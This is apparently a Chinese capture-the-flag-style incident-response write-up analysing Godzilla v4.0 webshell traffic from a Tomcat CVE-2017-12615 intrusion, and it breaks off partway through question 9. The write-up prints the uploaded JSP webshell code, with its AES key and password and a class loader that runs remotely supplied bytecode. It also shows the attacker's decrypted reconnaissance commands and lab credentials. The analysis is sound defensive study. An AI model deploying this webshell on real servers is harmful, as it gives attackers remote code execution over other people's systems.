玄机——第六章-哥斯拉4.0流量分析 wp

37 篇文章 26 订阅
34 篇文章 5 订阅

一、前言

玄机邀请码免费分享

题目链接:第六章-哥斯拉4.0流量分析

点赞关注+收藏!!!三连免费送玄机注册邀请码!!!(表格中邀请码没了请私信我!!!)

【腾讯文档】玄机邀请码免费获取
https://docs.qq.com/sheet/DWUt1WU9vZmpxWFd4?tab=BB08J2

玄机这边也是时隔多天,终于也是又出了一个第六章《流量分析》类的题目哇,不过这次的是“哥斯拉v4.0”,其实4.0也是网上流传最多的一个版本,那今天我们就一起来研究研究,当然还是老话,方法不唯一,这里仅供参考,也是欢迎各位师傅评论区留言,大家可以一起探讨!

哥斯拉v4.0流量分析_简介

简单来说其实“哥斯拉 v4.0”是一个广泛使用的工具,主要用于攻击和控制被感染的主机。其行动所被截取的流量和“webshell”特征可以从以下几个方面进行具体分析:

流量特征

  1. 连接模式:

    • 通常会与指挥控制(C2)服务器建立长期的TCP连接,进行定期的心跳检测和命令回调。
    • 可能使用随机域名或IP地址,以绕过网络防御机制。
  2. 数据包特征:

    • 流量通常较小,可能使用自定义加密的方式传输数据,以隐藏实际内容。
    • 数据包可能包含特定的标识符或命令,以便于攻击者进行控制和管理。
  3. 请求特征:

    • 发起的HTTP请求可能包含伪造的用户代理,或通过特定的参数隐藏恶意行为。
    • 使用非常规的HTTP方法(如PUT、DELETE)来上传或修改文件。
  4. 流量加密:

    • 部分恶意流量会通过TLS/SSL进行加密,增加检测难度。
    • 在某些情况下,会使用自定义协议进行数据交换。

Webshell 特征

  1. 文件特征:

    • Webshell通常以PHP、ASP、JSP等格式存在,文件名可能模糊不清,或使用常见文件名进行伪装。
    • 可能会包含特定的编码或压缩技术,以隐藏其真实功能。
  2. 功能特征:

    • 提供远程命令执行能力,攻击者可以通过Web界面直接执行系统命令。
    • 可能实现文件管理功能,如上传、下载、删除文件。
  3. 行为特征:

    • 检测请求参数、文件路径和环境变量,动态构造执行命令,可能根据环境做不同的处理。
    • 记录或发送回攻击者的操作日志,以便于进行后续的攻击或数据窃取。
  4. 安全防护规避:

    • Webshell代码通常经过混淆,以逃避静态分析工具的检测。
    • 可能会包含防护机制,检测是否在被安全工具监视,避免在虚拟机或沙箱中运行。

总的来说:

哥斯拉是一款webshell权限管理工具,由java语言开发。它的特点有:全部类型的“shell”都能绕过,而且市面大部分的静态查杀、流量加密也是都能绕过市面绝大部分的流量Waf、而且Godzilla自带的插件是冰蝎、蚁剑不能比拟的。

二、概览

简介

请你登录服务器结合数据包附件来分析黑客的入侵行为

用户名:root

密码:toor

SSH连接:ssh root@ip -p222

题目:

1、黑客的IP是什么?
2、黑客是通过什么漏洞进入服务器的?(提交CVE编号)
3、黑客上传的木马文件名是什么?(提交文件名)
4、黑客上传的木马连接密码是什么?
5、黑客上传的木马解密密钥是什么?
6、黑客连接webshell后执行的第一条命令是什么?
7、黑客连接webshell时查询当前shell的权限是什么?
8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
9、黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
10、黑客留下后门的反连的IP和PORT是什么?(IP:PORT)
11、黑客通过什么文件留下了后门?
12、黑客设置的后门密码是什么?
13、黑客的恶意dnslog服务器地址是什么?

三、参考文章

玄机应急响应哥斯拉4.0-流量分析-WriteUp By 小乐

四、步骤(解析)

准备步骤#1.0

其实这里主要还是分析哥斯拉v4.0的流量包,需要开启的靶机题目也不多,而且也还是最后两三道,所以这里师傅们开始做的时候可以先暂时不开启靶机,同时也将找到的flag存下来,等需要开靶机的时候再进行提交,这样可以帮助一些金币不怎么富裕的师傅省下一些噢~

但是这里还是简单说一下吧;

靶机环境是Liunx的,这里我使用的工具是“FinalShell”(当然工具不唯一哈,个人觉得这个还是蛮好使用的,仅供参考),官方下载链接以及介绍后面会说;

打开靶机,会得到一个IP:43.192.11.128 / 10.0.10.5(每个人IP不一样的)

这时候打开我们已经提取下载好的工具“FinalShell”,点击右上角文件标识—>弹出一个窗口,窗口右上角的标识,点击“SSH连接”即可

使用“SSH连接(Liunx)”

在这里插入图片描述

如下图“填好基本信息”,这里需要注意端口号是:222,用户:root,密码:toor

在这里插入图片描述

返回主页,点击刚刚我们新建好的“第六章-哥斯拉4.0流量分析”靶机连接即可;

在这里插入图片描述

这里选择“接受并保存”,注意!!!这里如果一直连接不上,看看自己是不是内网(校园网),如果是的话,换一个手机热点即可!

在这里插入图片描述

最后的最后也是成功连接,接下来就可以开始做题啦~

在这里插入图片描述

“FinalShell”工具简介

简单来说就是 FinalShell 是一款强大的终端管理工具,主要用于 SSH 连接和管理远程服务器。它支持多种协议(如 SSH、SFTP),并提供了文件传输、终端操作和命令执行等功能。用户可以通过 FinalShell 轻松连接到靶机,执行命令,上传和下载文件,适合开发、运维和安全测试等场景。

它提供了以下几个核心特点:

  1. 多标签管理:允许用户在一个窗口中打开多个终端标签,方便进行多任务处理。

  2. 文件传输:支持通过 SFTP 协议进行文件的上传和下载,简化文件管理。

  3. 跨平台支持:可以在 Windows、Linux 和 macOS 等多种操作系统上使用。

  4. 命令历史:提供命令历史记录功能,方便用户快速访问之前执行的命令。

  5. 可视化界面:界面友好,支持自定义主题和字体,提升用户体验。

"FinalShell"官网下载

没什么特殊情况的话,一般来说师傅应该都是这个;

在这里插入图片描述

步骤#1.1
1、黑客的IP是什么?

解题思路

可根据题目名称“哥斯拉4.0流量分析”,我们可知这是一题哥斯拉的“pcap”,直接丢进“Wireshark”中开始分析,直接过滤“HTTP",很快就发现了大量的“404”,以及哥斯拉流量的特征:aspx、jsp等等,那这里不用想肯定是扫描时留下的;

“附件下载”

在这里插入图片描述

“Wireshark”中过滤一下“HTTP”发现大量的“404”,肯定是进行扫描,那题目问我们黑客的IP,这不是白给嘛,也是直接提交发现正确;

在这里插入图片描述

至此;

flag{192.168.31.190}
步骤#1.2
2、黑客是通过什么漏洞进入服务器的?(提交CVE编号)

解题思路

题目问我们黑客是通过什么漏洞进入服务器的并且提交漏洞的CVE编号,那我们可以从以下的几点来进行分析:

  • 识别请求类型

    • 确定是否存在特定的 HTTP 请求(如 PUTPOST),这些请求通常用于上传恶意代码或进行远程执行。
  • 分析请求内容

    • 查找特定的参数或 payload,如含有 base64 编码的数据或任何可被反序列化的对象。分析这些内容是否能够触发已知漏洞。
  • 查找特征

    • 确认是否有反序列化、命令注入或文件上传的迹象,这些通常是常见的攻击手法。
  • 关注响应状态

    • 检查服务器的响应状态(如 204 No Content),这可能表明攻击成功,服务器没有返回错误信息。

这里也还是简单过滤一下"HTTP"(这里我喜欢过滤完,按包的大小来排序进行分析),当然具体按什么来分析进行排序看自己喜欢(反正也都是要分析的,也不可能别人把饭喂你嘴里师傅们说对吧?),那这里过滤完(从小到大)很快也就发现了我们需要查找的关键——响应状态(204);

“HTTP”过滤,按包的大小进行排序发现异常“204响应”;

在这里插入图片描述

右键追踪流—>HTTP,简单分析一下;

在这里插入图片描述

哎,一眼过去就发现了典型的“Java Servlet反序列化漏洞”,通过对“PUT”请求的处理,攻击者能够上传恶意代码并在服务器上执行。这段代码尝试通过反序列化恶意数据来执行特定的操作,利用了 Java 的反射和加密类进行数据处理。

下面的内容也一起简单分析一下;

这段代码是一个典型的 Java 反序列化漏洞利用示例这个就不需要多说了吧,主要利用了 CVE-2017-12615 漏洞。

代码结构分析

  1. 关键变量和方法

    • String xc="1710acba6220f62b";:这是用于 AES 加密的密钥。
    • String pass="7f0e6f";:用于参数传递的字符串,可能是攻击者用来获取数据的密码。
    • md5:生成 passxc 的 MD5 哈希,用于后续验证或其他操作。
  2. 自定义 ClassLoader

     	class X extends ClassLoader {
         public X(ClassLoader z) { super(z); }
         public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); }
     }
    
    • 这里定义了一个自定义的 ClassLoader,通过调用 defineClass 方法,允许动态加载和执行字节码。
  3. AES 加密和解密

         public byte[] x(byte[] s, boolean m) {
         try {
             javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
             c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
             return c.doFinal(s);
         } catch (Exception e) {
             return null;
         }
     }
    
    • 这个方法用于加密或解密数据,m 参数决定了是加密(true)还是解密(false)。
  4. Base64 编码和解码

    • base64Encodebase64Decode 方法用于将字节数组转换为 Base64 字符串,和从 Base64 字符串解码为字节数组,分别用于数据传输中的编码和解码。
  5. 处理请求

     	try {
         byte[] data = base64Decode(request.getParameter(pass));
         data = x(data, false); // 解密
         if (session.getAttribute("payload") == null) {
             session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
         } else {
             request.setAttribute("parameters", data);
             java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
             Object f = ((Class) session.getAttribute("payload")).newInstance();
             f.equals(arrOut);
             f.equals(pageContext);
             response.getWriter().write(md5.substring(0, 16));
             response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); // 加密
             response.getWriter().write(md5.substring(16));
         }
     } catch (Exception e) {}
    
    • 首先尝试从请求参数中获取经过 Base64 编码的数据,然后解密它。
    • 如果会话中没有 payload,则将解密后的数据加载为类并存储在会话中。
    • 如果已经存在 payload,则执行该类,并将结果返回给客户端。

漏洞利用方式

  • 反序列化攻击:攻击者可以构造一个请求,包含一个经过 Base64 编码的恶意 payload,该 payload 被解码后将反序列化为 Java 对象,从而允许执行任意代码。
  • 代码执行:通过动态加载类,攻击者可以执行恶意代码,可能导致远程代码执行(RCE)或其他安全风险。

那我们通过百度搜索关键词——”tomcat put协议“,就能发现是什么CVE漏洞;

在这里插入图片描述

也是很快就发现了题目的要求:CVE-2017-12615

那这里可能就有的师傅就有疑问了,是从哪里看出是“tomcat”的?

简单来说啊我们可以从以下几个方面可以知道这段代码是在 Tomcat 上运行的:

  1. JSP 文件:请求的 URI 是 /hello.jsp,这通常是 Tomcat 作为 Java Web 应用服务器处理 JSP 文件的方式。

  2. JSESSIONID Cookie:请求中包含 JSESSIONID Cookie,这是 Java EE 应用(包括 Tomcat)用于管理会话的标准方式。

  3. ClassLoader 和反射:代码使用了 Java 的反射机制和自定义的 ClassLoader,这些特性在 Java EE 环境中很常见,尤其是 Tomcat。

  4. 内容类型:虽然请求的头部没有明确指定,但 JSP 文件通常会返回 text/html 类型的内容,符合 Tomcat 的处理方式。

通过这些特征,可以合理知道该代码是在 Tomcat 环境中运行的。

至此;

flag{CVE-2017-12615}
步骤#1.3
3、黑客上传的木马文件名是什么?(提交文件名)

解题思路

题目问我们黑客上传的木马文件名是什么请提交文件名,这题我觉得不应该放在第三题应该放在第二题,根据题二我们都已知漏洞是什么了,也知道出中分析出了payload,那很明显,我们分析这个流量包就是木马文件;

在这里插入图片描述

可能还有的师傅有些不太理解,那我们简单分析一下为什么?

首先确认黑客上传的木马文件名是 hello.jsp

原因分析:

  1. 请求中的路径:在请求中,PUT /hello.jsp/ HTTP/1.1 表示黑客试图将数据上传到名为 hello.jsp 的文件中。

  2. JSP 文件的特性:由于请求是对 .jsp 文件的操作,这意味着该文件将被 Web 服务器(如 Tomcat)处理,并且可以执行其中的 Java 代码,因此这通常是上传后门或木马的常见做法。

  3. 上下文:代码中涉及到动态代码执行和反射特性,表明 hello.jsp 很可能被用作执行恶意代码的载体。

因此,可以确认黑客上传的木马文件名是 hello.jsp

至此;

flag{hello.jsp}
步骤#1.4
4、黑客上传的木马连接密码是什么?

解题思路

题目问我们黑客上传的木马连接密码是什么,那这里其实我们也可以随意去抓一个其它的包来进行分析,我相信也是很快就能看出来,当然也可以就着刚刚我们那个包继续分析,前提是眼神要好一些;

首先我们还是就着一开始抓的包来分析;

在这里插入图片描述

简单分析;

首先不难看出黑客上传的木马连接密码是 7f0e6f

原因分析:

  1. 代码分析:在代码中,有一行定义了 String pass="7f0e6f";,这意味着 pass 变量被设定为这个值。

  2. 用途:在后续的代码逻辑中,这个密码被用作解密或校验操作,因此它是上传木马后访问或控制的关键。

综上所述,黑客上传的木马连接密码是 7f0e6f

当然也不止只有这个包,我们也可以抓一个其它的包来进行分析;

“简单过滤一下HTTP”;

在这里插入图片描述

“右键HTTP分析一下”

在这里插入图片描述

所以通过流量中的传参数得到木马连接密码是:7f0e6f

至此;

flag{7f0e6f}
步骤#1.5
5、黑客上传的木马解密密钥是什么?

解题思路

题目问我们黑客上传的木马解密的秘钥是什么,那这里我们得简单了解一下什么是木马的解密密钥?

官方一点说明;

其实就是木马的解密密钥是用于解密木马程序中的加密代码或数据的字符串或值。攻击者通常会将恶意代码加密,以避免被安全软件检测到。解密密钥的存在使得木马能够在受害者的系统中执行其真实功能,比如窃取数据或远程控制。通过使用正确的解密密钥,攻击者可以恢复木马的原始代码,进而操控受害者的设备。

通俗易懂一点;

木马的解密密钥就是一种“密码”,用来打开隐藏在木马程序里的恶意代码。攻击者把这些代码加密,像锁住一样,目的是让安全软件更难发现。如果用这个“密码”解开木马,就能看到它真正的目的,比如窃取信息或者远程控制电脑。简单来说,解密密钥就像打开木马“保险箱”的钥匙。

那这里其实之前有观察仔细的师傅就会发现,我们早就已经见过了,是的没错,也还是在我们第一个分析的流量包中找到,当然可能别的也有反正我就暂时看见这个,那为什么呢我们来一起简单分析一下;

“包还是原来的包,接着继续分析”;

在这里插入图片描述

简单格式化一下并且加上注释,这样能更清晰一些进行分析;

得到;

<%! 
    // 加密密钥
    String xc = "1710acba6220f62b"; 
    // 解密所需的密码
    String pass = "7f0e6f"; 
    // 生成的MD5摘要,用于验证
    String md5 = md5(pass + xc); 

    // 自定义类加载器
    class X extends ClassLoader {
        public X(ClassLoader z) {
            super(z);
        }

        // 定义一个方法用于加载字节数组
        public Class Q(byte[] cb) {
            return super.defineClass(cb, 0, cb.length);
        }
    }

    // AES加解密方法
    public byte[] x(byte[] s, boolean m) {
        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            // 根据m的值选择加密或解密模式
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null; // 发生异常时返回null
        }
    }

    // 计算字符串的MD5值
    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            // 更新MD5摘要
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); // 返回MD5值
        } catch (Exception e) {}
        return ret;
    }
%>

我们来一起分析一下;

首先在这段代码中,我们可以看见String xc = "1710acba6220f62b"; 这一行直接定义了一个加密密钥 xc。这个密钥在后续的 AES 加密和解密过程中被使用上了。具体原因如下:

  1. 密钥定义xc 是一个字符串,用作 AES 加解密的密钥。它的长度需要符合 AES 的要求(16、24 或 32 字节),而这个字符串正好是16字节,适合 AES-128 加密。

  2. 加密过程:在 public byte[] x(byte[] s, boolean m) 方法中,xc 被用来初始化 javax.crypto.Cipher 对象,从而进行加密或解密操作。c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); 这一行中,xc.getBytes() 将字符串转换为字节数组,作为密钥传递给加密算法。

  3. 核心作用:因此,xc 的值 "1710acba6220f62b" 是整个加密和解密过程的核心,任何试图解密使用此密钥加密的数据,必须知道这个密钥。

总结来说,xc 是加密过程中的密钥,正因其存在,才能实现数据的加密和解密。

所以题目问我们黑客上传的木马解密密码是:1710acba6220f62b

至此;

flag{1710acba6220f62b}
步骤#1.6
6、黑客连接webshell后执行的第一条命令是什么?

解题思路

题目问我们黑客连接“webshell”后执行的第一条命令是什么,那这里我们就需要深度去解析“哥斯拉流量”了以此来找出执行的命令,所以这里我们需要用上我们找到的哥斯拉流量解密工具——BlueTeamTools,那我们先来介绍一下这个工具;

“BlueTeamTools”

蓝队分析研判工具箱,功能包括内存马反编译分析、各种代码格式化、网空资产测绘功能、溯源辅助、解密冰蝎流量、解密哥斯拉流量、解密Shiro/CAS/Log4j2的攻击payload、IP/端口连接分析、各种编码/解码功能、蓝队分析常用网址、java反序列化数据包分析、Java类名搜索、Fofa搜索、Hunter搜索等。

PS:当然这里也很感谢《ABC_123》师傅的免费工具!

”BlueTeamTools“—>123网盘下载;

https://www.123pan.com/s/q2J1jv-G4Jvd
提取码:0905

PS:注意“BlueTeamTools”这个工具是需要“Java”的环境,如没有“Java”环境或者没手动配置“Java”环境变量是难以运行的!那这里下载完成,双击打开即可!

BlueTeamTools官网下载链接

“双击打开”即可,先把我们之前找到的“密码”,以及“密钥”进行输入;

在这里插入图片描述

还是简单过滤一下”HTTP“,接下来就开始漫长的解密寻找,但是也并不是无意义的去寻找,题目说连接成功第一次执行,所以这里我们可以简单按照时间排序一下,慢慢往下进行分析;

“可以看见大量的404”,说明这都没有成功,那也就是说,我们重点关照一下响应200OK的即可,慢慢往下进行分析;

在这里插入图片描述

也是差不多快翻到最底下了,终于也是发现了很多的“200OK”响应,那我们一个一个右键“HTTP”追踪流进行分析,也是在大小“313”的包中发现了关键;

在这里插入图片描述

也是很快发现了可疑的信息,将请求与响应区域的数据都分别复制粘贴到“BlueTeamTools”里进行分析;

在这里插入图片描述

红色部分请求区域解密得到;

在这里插入图片描述

得到;

cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand

简单分析一下;

  1. 命令结构

    • cmdLine sh -c "cd "/";uname -r":这里使用了 sh -c 来执行一串命令。
    • cd "/":切换到根目录,尽管这个操作在此上下文中并没有实际效果,就是没用。
    • uname -r:返回系统的内核版本。
  2. 重定向

    • 2>&1:这部分用于将标准错误输出重定向到标准输出,确保所有的输出信息都可以被捕获和返回。
  3. 参数和方法

    • arg-0 sharg-1 -carg-2 cd "/";uname -r:这些参数表明命令的构成和执行方法。
    • methodName execCommand:这表明这是一个执行命令的方法调用。

综合来看,黑客通过这个命令获取了系统的内核版本信息,因为这有助于他判断系统的安全性和可能的攻击向量。

那这里有的师傅可能就会有疑问了,为什么你可以在那么多条数据包中准确的找到黑客的命令,你又是怎么确认这个就是黑客执行的第一条命令,哎是不是抄人家的wp啊?

我知道师傅可能都有大大的疑问,那这里我就先说说我是怎么在这么多条数据包准确的找到,其实很简单,就是按照上面那个模版来进行分析,首先响应404的肯定不需要看,还有一些看着就很离谱的就更不是,所以有点常识或者了解哥斯拉流量特征的师傅肯定就知道,其实我也是解密了很多条数据包也才找到的,需要耐心一些复制粘贴进行解密,反正这个也不是靶机,再然后HTTP请求就那么多,比那些成千上百条的好多了!

那这里我们接着把返回请求(蓝色区域),也接着进行解密一下;

在这里插入图片描述

得到;

4.19.0-25-amd64

接着上回,我们再说说是怎么确认的这就是黑客第一次执行的命令,首先,其实我也尝试了几个感觉像黑客第一次执行命令的flag,但是发现都不对,最后也是才找到它的,最重要的一点就是,我们要知道黑客通过连接webshell后首先回干嘛,我们占在攻击者的位置进行思考!那如果实在想不到也没关系,我们不是已解密出“4.19.0-25-amd64”了嘛?这个通常是用来确认目标系统的内核版本信息的,所以你是黑客肯定也会使用这条命令来获取系统环境的基本信息,以便判断系统的脆弱性和可利用的攻击路径。

总结一下;

思路就是黑客第一次执行了命令——uname -r,想看看系统的内核版本信息有没有漏洞什么的,最后返回了系统信息——4.19.0-25-amd64

至此;

flag{uname -r}
步骤#1.7
7、黑客连接webshell时查询当前shell的权限是什么?

解题思路

题目问我们黑客连接“webshell”时查询当前shell的权限是什么,那这里我们还是接着题六那样继续查找,反正肯定也就在响应200OK的包内;

最后一次一次的进行解密一次又一次的进行分析,也是终于在大小为“280”的包中发现了关键信息!

在这里插入图片描述

选中右键,追踪流—>HTTP

在这里插入图片描述

请求(红色区域)解密得到;

在这里插入图片描述
得到;

cmdLine sh -c "cd "/";id" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";id" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";idmethodName execCommand

简单分析一下;

  1. 命令结构

    • cmdLine sh -c "cd "/";id":使用 sh -c 来执行命令。
    • cd "/":切换到根目录,通常在这种情况下没有实际作用。
    • id:获取当前用户的身份信息,包括用户ID(UID)和组ID(GID),这可以帮助攻击者了解他们在目标系统中的权限。
  2. 重定向

    • 2>&1:同样将标准错误输出重定向到标准输出,以确保所有输出信息都被捕获并返回。
  3. 参数和方法

    • arg-0 sharg-1 -carg-2 cd "/";id:这些参数显示了命令的构成。
    • methodName execCommand:表明这是一个执行命令的方法调用。

总结

这段请求的主要目的是让攻击者获取关于当前用户的身份信息,以便他能够评估自己在目标系统上的权限和潜在的攻击能力。

那我们接着,继续分析一下返回(蓝色区域)解密数据;

在这里插入图片描述

得到;

uid=0(root) gid=0(root) groups=0(root)

这个返回包的内容表示以下信息:

  1. uid=0(root):当前用户的用户ID(UID)是0,表示该用户是超级用户(root)。在Unix/Linux系统中,UID 0代表系统的管理员,有完全的权限。

  2. gid=0(root):当前用户的组ID(GID)也是0,表示该用户属于root组。

  3. groups=0(root):列出了当前用户所属的组,这里只有root组。

总结;

这下就很明显了,题目问“连接webshell时查询当前shell的权限”,那这里不就是很明显了,执行了命令——id,并且返回的结果为——uid=0(root) gid=0(root) groups=0(root),都是表示root用户;

至此;

flag{root}
步骤#1.8
8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?

解题思路

题目问我们黑客利用“webshell”执行命令查询的服务器“Liunx”系统发行的版本是什么,那这里我们首先简单了解一下“Liunx”发行的系统版本常见的有哪一些;

“Liunx”发行的系统版本常见有那些?那这里刚好总结一下常见的;

  1. Ubuntu

    • 用户友好,适合新手和开发者。
    • 有多个版本,包括桌面版和服务器版。
  2. Debian

    • 以稳定性和自由软件为宗旨。
    • 是许多其他发行版(如Ubuntu)的基础。
  3. Fedora

    • 由Red Hat支持,注重最新技术和开源软件。
    • 提供较新版本的软件包。
  4. CentOS

    • 基于Red Hat Enterprise Linux(RHEL),适合企业使用。
    • 提供长期支持和稳定性。
  5. Arch Linux

    • 以简单、灵活和用户控制为特点。
    • 采用滚动更新模型,适合高级用户。
  6. openSUSE

    • 提供多种安装方式和桌面环境。
    • 包括适合开发和服务器的版本。
  7. Linux Mint

    • 基于Ubuntu,设计友好,适合初学者。
    • 提供多种桌面环境,如Cinnamon、MATE和XFCE。
  8. Slackware

    • 被认为是最古老的Linux发行版之一,注重稳定性和简单性。
    • 适合那些喜欢手动配置系统的用户。

那这里我就要想一下,在“Liunx”中执行什么命令才能查看系统发行版信息呢?

这里总结一下常见的使用命令:

1、lsb_release命令

lsb_release -a

这个命令会显示详细的版本信息,包括发行版名称、版本号等。

2、cat命令

对于大多数发行版,可以查看 /etc/os-release 文件:

cat /etc/os-release

对于Debian和Ubuntu系统,可以查看 /etc/issue/etc/debian_version

cat /etc/issue
cat /etc/debian_version

3、uname命令

uname -a

这个命令会显示内核版本和其他系统信息,但不包括发行版的名称。

常见的也就这三个,那我们一个一个进行解密分析呗,当然也还是需要过滤"HTTP",以及排除一些响应404的还有那些看着就很离谱的,这样范围就缩小了很多,那我们就需要耐心进行寻找;

最后也是很快就找到了,在大小为“329”的包中发现了关键,那为什么这里就能找那么快呢?因为该解密的都差不多解密完了,也就那几个包了,随便翻翻就翻到了;

在这里插入图片描述

选中右键,追踪流—>HTTP,打开进行分析得到;

在这里插入图片描述

那我们也还是老规矩,请求(红色区域)进行解密得到;

在这里插入图片描述

cmdLine ' sh -c "cd "/";cat /etc/os-release" 2>&1arg-3 2>&1executableFile shexecutableArgs $ -c "cd "/";cat /etc/os-release" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";cat /etc/os-releasemethodName execCommand

简单分析一下;

  1. 命令结构

    • cmdLine sh -c "cd "/";cat /etc/os-release":使用 sh -c 来执行命令。
    • cd "/":切换到根目录,这里同样没有实际效果。
    • cat /etc/os-release:读取并输出 /etc/os-release 文件的内容,该文件包含操作系统的名称和版本信息。
  2. 重定向

    • 2>&1:将标准错误输出重定向到标准输出,以便捕获所有输出信息。
  3. 参数和方法

    • arg-0 sharg-1 -carg-2 cd "/";cat /etc/os-release:这些参数表明命令的构成。
    • methodName execCommand:指明这是一个执行命令的方法调用。

总结

通过这个请求,攻击者意图获取目标系统的操作系统版本信息。这有助于他们了解系统的环境,从而判断可能的脆弱性或进一步的攻击手段,而且也发现了我们需要的命令——cat /etc/os-release,这个就是题目的要求获取“Liunx”发行版本的常用命令之一;

那我们继续往下分析返回(蓝色区域)进行解密得到;

在这里插入图片描述

哥斯拉webshell返回包流量解密为:

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

简单分析一下;

这段返回包的内容提供了关于目标系统的详细信息:

  1. PRETTY_NAME"Debian GNU/Linux 10 (buster)" 表示操作系统的名称和版本。
  2. NAME:操作系统的基本名称,这里是 Debian GNU/Linux
  3. VERSION_IDVERSION:指示版本号为10,代号为“buster”。
  4. VERSION_CODENAME:该版本的代号,用于在包管理和支持中识别。
  5. ID:表示操作系统为“debian”。
  6. URLs:提供了关于该发行版的主页、支持和错误报告的链接。

题目问我们“黑客利用webshell执行命令查询服务器Linux系统发行版本是什么”,所以“Debian GNU/Linux 10 (buster)”就是黑客获取的发行版本;

至此;

flag{Debian GNU/Linux 10 (buster)}
步骤#1.9
9、黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)

解题思路

题目问我们黑客利用“webshell”执行命令还查询并过滤了什么而且还需要提交完整的执行命令,这个好像之前我解密查找的时候就见过了,因为实在是就那个几个包,一个一个进行查找很快就发现了,所以这里我们也还是继续查找;

老规矩过滤“HTTP”,随便翻一下就发现了大小为“325”的包有我们想要的信息;

在这里插入图片描述

选中右键,追踪流—>HTTP,简单分析一下;

在这里插入图片描述

还好老规矩,请求(红色区域)解密得到;

在这里插入图片描述

cmdLine & sh -c "cd "/";rpm -qa | grep pam" 2>&1arg-3 2>&1executableFile shexecutableArgs # -c "cd "/";rpm -qa | grep pam" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";rpm -qa | grep pammethodName execCommand

简单分析一下;

  1. 命令结构

    • cmdLine sh -c "cd "/";rpm -qa | grep pam":使用 sh -c 执行命令。
    • cd "/":切换到根目录,通常在此上下文中没有实际效果。
    • rpm -qa | grep pam:使用 rpm 命令列出所有已安装的软件包,并通过 grep 过滤出与“pam”相关的软件包。PAM(可插入式认证模块)通常与系统认证和安全性相关。
  2. 重定向

    • 2>&1:将标准错误输出重定向到标准输出,以捕获所有输出信息。
  3. 参数和方法

    • arg-0 sharg-1 -carg-2 cd "/";rpm -qa | grep pam:这些参数显示命令的构成。
    • methodName execCommand:指明这是一个执行命令的方法调用。

简单来说就是黑客这里执行了“rpm -qa | grep pam”,想通过“grep”过滤出与“pam”相关的软件包,那我们接着来解密一下返回包(蓝色区域);

在这里插入图片描述

得到;

2>&1: 1: 2>&1: rpm: not found

简单分析;

  1. rpm: not found:表示系统中没有安装 rpm 命令,或者该命令不可用。rpm 是 Red Hat 系列 Linux 发行版中用于管理软件包的工具。

  2. 2>&1: 1: 2>&1::这部分似乎是命令执行时的错误输出,但语法不太正确,可能是命令执行时的格式问题,导致输出混乱。

总结

从返回的结果来看,这表明攻击者尝试执行与软件包管理相关的命令,但目标系统并不是基于 rpm 的发行版(例如 Red Hat、CentOS 或 Fedora),而可能是 Debian 系列(如 Debian、Ubuntu)或其他使用不同包管理系统的发行版,所以就是执行失败了。

不过没关系,我们继续慢慢翻,也就这几个数据包了,我们再翻翻,终于的终于我们也是在包大小为“323”的包中发现了我们需要的关键信息,我们一起来简单分析一下;

在这里插入图片描述

追踪流HTTP简单分析一下;

在这里插入图片描述

请求包解密得到;

在这里插入图片描述

cmdLine 0 sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-3 2>&1executableFile shexecutableArgs - -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-0 shargsCount 4arg-1 -carg-2 # cd "/";dpkg -l libpam-modules:amd64methodName execCommand

简单分析一下;

  1. 命令结构

    • cmdLine sh -c "cd "/";dpkg -l libpam-modules:amd64":使用 sh -c 来执行命令。
    • cd "/":切换到根目录,这里同样没有实际效果。
    • dpkg -l libpam-modules:amd64:查询安装的 libpam-modules 包,特定于 amd64 架构。这个命令用于列出该包的状态和版本信息。
  2. 重定向

    • 2>&1:将标准错误输出重定向到标准输出,以捕获所有输出信息。
  3. 参数和方法

    • arg-0 sharg-1 -carg-2 cd "/";dpkg -l libpam-modules:amd64:这些参数显示了命令的构成。
    • methodName execCommand:指明这是一个执行命令的方法调用。

总结

通过这个请求,黑客意图检查目标系统中是否安装了 libpam-modules 包,这个包与 PAM(可插入式认证模块)相关,负责系统的身份验证和安全管理。

命令 dpkg -l libpam-modules:amd64,黑客通过这个命令查询并过滤了与 libpam-modules 包相关的信息。具体来说:

  1. 包的状态

    • dpkg -l 命令列出了所有安装的包及其状态(如安装、未安装、已删除等)。黑客可以查看 libpam-modules 是否已安装及其状态,这对于评估系统的安全性非常重要。
  2. 版本信息

    • 如果 libpam-modules 已安装,命令的输出将包含版本号。黑客可以根据版本号判断是否存在已知漏洞,并评估是否可以利用这些漏洞进行攻击。
  3. 架构信息

    • 通过指定 :amd64,黑客可以确保他们查询的是特定架构的包。这可以帮助他们了解目标系统的架构特征,以便选择合适的攻击工具或方法。
  4. 进一步的攻击路径

    • 了解 PAM 模块及其版本后,黑客可以识别出潜在的攻击向量,比如利用特定的认证缺陷来进行提权或绕过安全机制。

